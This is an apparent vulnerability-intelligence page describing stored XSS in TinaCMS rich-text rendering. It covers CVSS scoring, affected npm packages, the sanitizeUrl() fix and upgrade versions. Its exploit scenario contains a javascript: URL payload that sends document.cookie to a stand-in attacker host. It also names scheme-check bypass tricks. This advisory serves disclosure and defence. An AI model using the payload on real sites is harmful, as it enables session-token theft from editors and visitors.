Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
PR:L because editor authentication is required; S:C because stored XSS crosses to victim browsers; no availability impact.
Primary rating from Vendor (https://github.com/tinacms/tinacms).
CVSS VectorVendor: https://github.com/tinacms/tinacms
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3Blast Radius
ecosystem impact- 7 npm packages depend on @tinacms/mdx (3 direct, 4 indirect)
- 3 npm packages depend on tinacms (3 direct, 0 indirect)
Ecosystem-wide dependent count for version 2.1.7 and other introduced versions.
DescriptionCVE.org
TinaCMS rich-text parsing and the default link/image renderers did not sanitize the url field on Slate link/image nodes. Content containing javascript: or data:text/html URLs - including case-variant, whitespace-padded, and control-character-obfuscated forms - is rendered into href/src and executes when the content is viewed. Any actor able to author rich-text content (for example a lower-privileged editor, or imported/external content) can achieve stored XSS against editors and site viewers.
Fixed in https://github.com/tinacms/tinacms/pull/7056 via a sanitizeUrl() helper (case-insensitive, whitespace/control-character-normalized scheme allow-list) applied recursively to Slate trees at parse time and in the default rich-text rendering.
AnalysisAI
Stored XSS in TinaCMS rich-text rendering allows any content author with editor-level access to inject javascript: or data:text/html URLs into Slate link/image nodes, which execute in the browsers of editors and site visitors when affected content is viewed. Both tinacms (< 3.9.3) and @tinacms/mdx (< 2.1.7) are confirmed affected, with the vulnerable path covering case-variant, whitespace-padded, and control-character-obfuscated scheme bypass techniques indicating deliberate evasion of naive sanitization. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must hold an editor-level (or higher) CMS account, or must control an external content source that is imported into TinaCMS as Slate JSON or MDX - for example, a headless Git-backed content import. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | No vendor or NVD CVSS score is available; this report uses an independently assessed vector. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker holding a lower-privileged CMS editor account opens a TinaCMS rich-text document and inserts a link node whose `url` field contains `javascript:fetch('https://attacker.example/c?d='+document.cookie)`, exploiting case or whitespace bypass to defeat any naive scheme check. When a site administrator or authenticated visitor later opens the page, the browser executes the injected script in the victim's security context, exfiltrating session tokens. … |
| Remediation | Upgrade `tinacms` to version 3.9.3 or later and `@tinacms/mdx` to version 2.1.7 or later via npm; both patched versions are introduced in PR #7056 (https://github.com/tinacms/tinacms/pull/7056). … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-41141
GHSA-2vcc-5v34-9jc8